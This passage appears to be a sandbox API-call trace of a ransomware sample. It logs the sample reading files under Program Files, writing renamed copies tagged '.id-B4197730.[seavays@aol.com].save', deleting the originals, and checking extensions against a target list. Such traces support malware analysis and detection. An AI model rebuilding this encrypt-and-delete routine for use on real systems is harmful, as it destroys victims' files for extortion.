(hFile=0x544) returned 1 [0171.034] CloseHandle (hObject=0x544) returned 1 [0171.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0171.035] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0171.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.036] lstrlenW (lpString=".doc") returned 4 [0171.036] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString=".docx") returned 5 [0171.036] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0171.036] lstrlenW (lpString=".pdf") returned 4 [0171.036] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString=".xls") returned 4 [0171.036] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString=".xlsx") returned 5 [0171.036] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0171.036] lstrlenW (lpString=".ppt") returned 4 [0171.036] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.036] lstrlenW (lpString=".zip") returned 4 [0171.036] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString=".rar") returned 4 [0171.036] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0171.036] lstrlenW (lpString=".bz2") returned 4 [0171.037] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".7z") returned 3 [0171.037] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString=".dbf") returned 4 [0171.037] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString=".1cd") returned 4 [0171.037] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString=".jpg") returned 4 [0171.037] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString=".doc") returned 4 [0171.037] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".docx") returned 5 [0171.037] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0171.037] lstrlenW (lpString=".pdf") returned 4 [0171.037] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".xls") returned 4 [0171.037] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".xlsx") returned 5 [0171.037] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0171.037] lstrlenW (lpString=".ppt") returned 4 [0171.037] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.037] lstrlenW (lpString=".zip") returned 4 [0171.037] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".rar") returned 4 [0171.037] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0171.037] lstrlenW (lpString=".bz2") returned 4 [0171.038] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0171.038] lstrlenW (lpString=".7z") returned 3 [0171.038] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0171.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.038] lstrlenW (lpString=".dbf") returned 4 [0171.038] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0171.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.038] lstrlenW (lpString=".1cd") returned 4 [0171.038] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0171.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0171.038] lstrlenW (lpString=".jpg") returned 4 [0171.038] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0171.038] lstrcmpiW (lpString1=".0_144\\release", lpString2=".save") returned -1 [0171.038] lstrlenW (lpString="release") returned 7 [0171.038] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.039] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=528) returned 1 [0171.039] CloseHandle (hObject=0x544) returned 1 [0171.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0171.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.039] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.039] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.039] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0171.040] GetLastError () returned 0x0 [0171.040] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x210, lpOverlapped=0x0) returned 1 [0171.334] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x220, lpOverlapped=0x0) returned 1 [0171.335] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.335] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0171.336] SetEndOfFile (hFile=0x540) returned 1 [0171.336] CloseHandle (hObject=0x540) returned 1 [0171.336] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.336] SetEndOfFile (hFile=0x544) returned 1 [0171.356] CloseHandle (hObject=0x544) returned 1 [0171.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0171.357] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0171.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.358] lstrlenW (lpString=".doc") returned 4 [0171.358] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0171.358] lstrlenW (lpString=".docx") returned 5 [0171.358] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0171.358] lstrlenW (lpString=".pdf") returned 4 [0171.358] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0171.358] lstrlenW (lpString=".xls") returned 4 [0171.359] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString=".xlsx") returned 5 [0171.359] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0171.359] lstrlenW (lpString=".ppt") returned 4 [0171.359] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.359] lstrlenW (lpString=".zip") returned 4 [0171.359] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString=".rar") returned 4 [0171.359] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString=".bz2") returned 4 [0171.359] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString=".7z") returned 3 [0171.359] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.359] lstrlenW (lpString=".dbf") returned 4 [0171.359] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.359] lstrlenW (lpString=".1cd") returned 4 [0171.359] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.359] lstrlenW (lpString=".jpg") returned 4 [0171.359] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.360] lstrlenW (lpString=".doc") returned 4 [0171.360] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".docx") returned 5 [0171.360] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0171.360] lstrlenW (lpString=".pdf") returned 4 [0171.360] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".xls") returned 4 [0171.360] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".xlsx") returned 5 [0171.360] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0171.360] lstrlenW (lpString=".ppt") returned 4 [0171.360] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.360] lstrlenW (lpString=".zip") returned 4 [0171.360] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".rar") returned 4 [0171.360] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".bz2") returned 4 [0171.360] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString=".7z") returned 3 [0171.360] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0171.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.360] lstrlenW (lpString=".dbf") returned 4 [0171.360] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0171.360] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.360] lstrlenW (lpString=".1cd") returned 4 [0171.360] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0171.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0171.361] lstrlenW (lpString=".jpg") returned 4 [0171.361] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0171.361] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.361] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0171.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0171.539] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=24768) returned 1 [0171.539] CloseHandle (hObject=0x434) returned 1 [0171.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0172.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.446] lstrlenW (lpString=".doc") returned 4 [0172.446] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString=".docx") returned 5 [0172.446] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.446] lstrlenW (lpString=".pdf") returned 4 [0172.446] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString=".xls") returned 4 [0172.446] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString=".xlsx") returned 5 [0172.446] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.446] lstrlenW (lpString=".ppt") returned 4 [0172.446] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.446] lstrlenW (lpString=".zip") returned 4 [0172.446] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString=".rar") returned 4 [0172.446] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.446] lstrlenW (lpString=".bz2") returned 4 [0172.446] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.446] lstrlenW (lpString=".7z") returned 3 [0172.446] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.446] lstrlenW (lpString=".dbf") returned 4 [0172.446] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.446] lstrlenW (lpString=".1cd") returned 4 [0172.446] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.447] lstrlenW (lpString=".jpg") returned 4 [0172.447] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.447] lstrlenW (lpString=".doc") returned 4 [0172.447] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString=".docx") returned 5 [0172.447] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.447] lstrlenW (lpString=".pdf") returned 4 [0172.447] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString=".xls") returned 4 [0172.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString=".xlsx") returned 5 [0172.447] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.447] lstrlenW (lpString=".ppt") returned 4 [0172.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.447] lstrlenW (lpString=".zip") returned 4 [0172.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString=".rar") returned 4 [0172.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.447] lstrlenW (lpString=".bz2") returned 4 [0172.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.447] lstrlenW (lpString=".7z") returned 3 [0172.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.448] lstrlenW (lpString=".dbf") returned 4 [0172.448] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.448] lstrlenW (lpString=".1cd") returned 4 [0172.448] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0172.448] lstrlenW (lpString=".jpg") returned 4 [0172.448] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.448] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0172.448] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0172.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.725] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19136) returned 1 [0172.725] CloseHandle (hObject=0x548) returned 1 [0172.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0172.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.726] lstrlenW (lpString=".doc") returned 4 [0172.726] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.726] lstrlenW (lpString=".docx") returned 5 [0172.726] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.726] lstrlenW (lpString=".pdf") returned 4 [0172.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.726] lstrlenW (lpString=".xls") returned 4 [0172.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.726] lstrlenW (lpString=".xlsx") returned 5 [0172.727] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.727] lstrlenW (lpString=".ppt") returned 4 [0172.727] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString=".zip") returned 4 [0172.727] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.727] lstrlenW (lpString=".rar") returned 4 [0172.727] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.727] lstrlenW (lpString=".bz2") returned 4 [0172.727] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.727] lstrlenW (lpString=".7z") returned 3 [0172.727] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString=".dbf") returned 4 [0172.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString=".1cd") returned 4 [0172.727] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString=".jpg") returned 4 [0172.727] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.727] lstrlenW (lpString=".doc") returned 4 [0172.727] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString=".docx") returned 5 [0172.728] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.728] lstrlenW (lpString=".pdf") returned 4 [0172.728] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString=".xls") returned 4 [0172.728] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString=".xlsx") returned 5 [0172.728] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.728] lstrlenW (lpString=".ppt") returned 4 [0172.728] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.728] lstrlenW (lpString=".zip") returned 4 [0172.728] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString=".rar") returned 4 [0172.728] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.728] lstrlenW (lpString=".bz2") returned 4 [0172.728] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.728] lstrlenW (lpString=".7z") returned 3 [0172.728] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.728] lstrlenW (lpString=".dbf") returned 4 [0172.728] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.728] lstrlenW (lpString=".1cd") returned 4 [0172.728] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 79 [0172.728] lstrlenW (lpString=".jpg") returned 4 [0172.729] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.729] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0172.729] lstrlenW (lpString="AppVDllSurrogate32.exe") returned 22 [0172.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0172.730] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=215768) returned 1 [0172.730] CloseHandle (hObject=0x548) returned 1 [0172.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0172.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 68 [0172.731] lstrlenW (lpString=".doc") returned 4 [0172.731] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0172.731] lstrlenW (lpString=".docx") returned 5 [0172.731] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0172.731] lstrlenW (lpString=".pdf") returned 4 [0172.731] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0172.731] lstrlenW (lpString=".xls") returned 4 [0172.731] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0172.731] 